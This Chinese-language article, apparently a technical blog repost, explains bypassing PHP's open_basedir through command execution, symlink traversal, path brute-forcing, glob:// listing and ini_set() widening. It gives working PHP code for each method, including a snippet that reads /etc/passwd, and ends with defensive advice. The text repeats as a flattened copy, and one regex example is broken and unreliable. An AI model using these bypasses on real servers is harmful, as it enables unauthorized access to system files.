你的open_basedir安全吗?
字数 1759 2025-08-29 08:31:35

Open_basedir绕过技术详解

1. Open_basedir基础概念

Open_basedir是PHP的一个安全配置指令,用于限制PHP脚本可以访问的文件系统路径范围。

关键特性:

  • 限制所有文件操作到指定目录及其子目录
  • 不受安全模式(Safe Mode)影响
  • 设置的是路径前缀而非精确目录名
  • 示例:open_basedir = /dir/user/ 限制访问/dir/user/及其子目录

2. Open_basedir绕过技术

2.1 命令执行绕过

原理:Open_basedir仅限制PHP文件操作函数,不影响系统命令执行

方法

  • 使用system()exec()passthru()等函数执行系统命令
  • 绕过disable_functions限制时可尝试不同函数或编码技术

优势:直接有效,不受Open_basedir限制

2.2 symlink()符号链接攻击

原理:利用符号链接和相对路径跳转突破目录限制

步骤

  1. 创建多层目录结构
  2. 创建符号链接指向目标路径
  3. 删除并重建符号链接为目录
  4. 通过多级../跳转访问受限文件

示例代码

mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D", "aaa");
symlink("aaa/etc/passwd", "abc");
unlink("aaa");
mkdir("aaa");

注意:需要计算目标文件需要跨越的路径层级

2.3 realpath()暴力破解

原理:利用realpath()对不存在路径和越界路径的不同响应

特征

  • 路径不存在:返回false
  • 路径越界:抛出错误"File is not within the allowed path(s)"

Windows环境利用

  • 使用通配符爆破目录和文件名
  • 通过错误处理函数捕获越界响应

示例代码

ini_set('open_basedir', dirname(__FILE__));
set_error_handler('isexists');
$dir = 'd:/WEB/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i = 0; $i < strlen($chars); $i++) {
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr) {
    $regexp = '/File\is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}

2.4 bindtextdomain()和SplFileInfo::getRealPath()

bindtextdomain()特性

  • Linux特有函数
  • 存在路径时返回路径值,不存在返回false
  • 可用于路径探测

SplFileInfo::getRealPath()特性

  • 获取文件绝对路径
  • 基于报错判断路径存在性

示例代码

ini_set('open_basedir', dirname(__FILE__));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i = 0; $i < strlen($chars); $i++) {
    $info = new SplFileInfo($basedir . $chars[$i] . '<><');
    $re = $info->getRealPath();
    if ($re) {
        dump($re);
    }
}
function dump($s){
    echo $s . '<br/>';
    ob_flush();
    flush();
}

2.5 glob://伪协议利用

原理:PHP实现glob伪协议时不检测open_basedir

限制:只能列出文件名,无法读取内容

2.5.1 DirectoryIterator+glob://

方法

$a = $_GET['a'];
$b = new DirectoryIterator($a);
foreach($b as $c){
    echo($c->__toString().'<br>');
}

2.5.2 opendir()+readdir()+glob://

方法

$a = $_GET['c'];
if ($b = opendir($a)) {
    while (($file = readdir($b)) !== false) {
        echo $file . "<br>";
    }
    closedir($b);
}

注意:这两种方法只能列出根目录和open_basedir指定目录下的文件

2.6 ini_set()动态修改绕过

原理:利用相对路径和目录跳转逐步扩大open_basedir范围

关键点

  1. 通过多次chdir()跳转到根目录
  2. 每次跳转后open_basedir范围自动调整
  3. 最终设置open_basedir为根目录

示例代码

mkdir('Andy');
chdir('Andy');
ini_set('open_basedir', '..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir', '/');
echo file_get_contents('/etc/passwd');

底层原理

  • php_check_open_basedir_ex()校验新open_basedir是否比之前更严格
  • 利用相对路径和expand_filepath()函数特性
  • 通过多次目录跳转使open_basedir范围逐步扩大

3. 技术总结

方法 适用环境 限制条件 效果
命令执行 所有环境 需有命令执行能力 完全绕过
symlink() 支持符号链接的系统 需要写权限 读取任意文件
realpath()爆破 Windows 耗时 探测路径
bindtextdomain() Linux 需爆破 探测路径
glob:// 所有环境 只能列目录 信息收集
ini_set() 所有环境 需要多次跳转 完全绕过

4. 防御建议

  1. 结合其他安全措施如chroot
  2. 限制PHP函数使用(disable_functions)
  3. 定期更新PHP版本
  4. 监控异常文件操作
  5. 使用最小权限原则配置open_basedir

5. 扩展思考

  1. 不同PHP版本间的实现差异
  2. 结合文件权限的深度防御
  3. 其他伪协议的潜在利用可能
  4. PHP底层代码的安全审计方法
Open_ basedir绕过技术详解 1. Open_ basedir基础概念 Open_ basedir是PHP的一个安全配置指令,用于限制PHP脚本可以访问的文件系统路径范围。 关键特性: 限制所有文件操作到指定目录及其子目录 不受安全模式(Safe Mode)影响 设置的是路径前缀而非精确目录名 示例: open_basedir = /dir/user/ 限制访问 /dir/user/ 及其子目录 2. Open_ basedir绕过技术 2.1 命令执行绕过 原理 :Open_ basedir仅限制PHP文件操作函数,不影响系统命令执行 方法 : 使用 system() 、 exec() 、 passthru() 等函数执行系统命令 绕过 disable_functions 限制时可尝试不同函数或编码技术 优势 :直接有效,不受Open_ basedir限制 2.2 symlink()符号链接攻击 原理 :利用符号链接和相对路径跳转突破目录限制 步骤 : 创建多层目录结构 创建符号链接指向目标路径 删除并重建符号链接为目录 通过多级 ../ 跳转访问受限文件 示例代码 : 注意 :需要计算目标文件需要跨越的路径层级 2.3 realpath()暴力破解 原理 :利用realpath()对不存在路径和越界路径的不同响应 特征 : 路径不存在:返回false 路径越界:抛出错误"File is not within the allowed path(s)" Windows环境利用 : 使用通配符爆破目录和文件名 通过错误处理函数捕获越界响应 示例代码 : 2.4 bindtextdomain()和SplFileInfo::getRealPath() bindtextdomain()特性 : Linux特有函数 存在路径时返回路径值,不存在返回false 可用于路径探测 SplFileInfo::getRealPath()特性 : 获取文件绝对路径 基于报错判断路径存在性 示例代码 : 2.5 glob://伪协议利用 原理 :PHP实现glob伪协议时不检测open_ basedir 限制 :只能列出文件名,无法读取内容 2.5.1 DirectoryIterator+glob:// 方法 : 2.5.2 opendir()+readdir()+glob:// 方法 : 注意 :这两种方法只能列出根目录和open_ basedir指定目录下的文件 2.6 ini_ set()动态修改绕过 原理 :利用相对路径和目录跳转逐步扩大open_ basedir范围 关键点 : 通过多次chdir()跳转到根目录 每次跳转后open_ basedir范围自动调整 最终设置open_ basedir为根目录 示例代码 : 底层原理 : php_check_open_basedir_ex() 校验新open_ basedir是否比之前更严格 利用相对路径和 expand_filepath() 函数特性 通过多次目录跳转使open_ basedir范围逐步扩大 3. 技术总结 | 方法 | 适用环境 | 限制条件 | 效果 | |------|---------|---------|------| | 命令执行 | 所有环境 | 需有命令执行能力 | 完全绕过 | | symlink() | 支持符号链接的系统 | 需要写权限 | 读取任意文件 | | realpath()爆破 | Windows | 耗时 | 探测路径 | | bindtextdomain() | Linux | 需爆破 | 探测路径 | | glob:// | 所有环境 | 只能列目录 | 信息收集 | | ini_ set() | 所有环境 | 需要多次跳转 | 完全绕过 | 4. 防御建议 结合其他安全措施如chroot 限制PHP函数使用(disable_ functions) 定期更新PHP版本 监控异常文件操作 使用最小权限原则配置open_ basedir 5. 扩展思考 不同PHP版本间的实现差异 结合文件权限的深度防御 其他伪协议的潜在利用可能 PHP底层代码的安全审计方法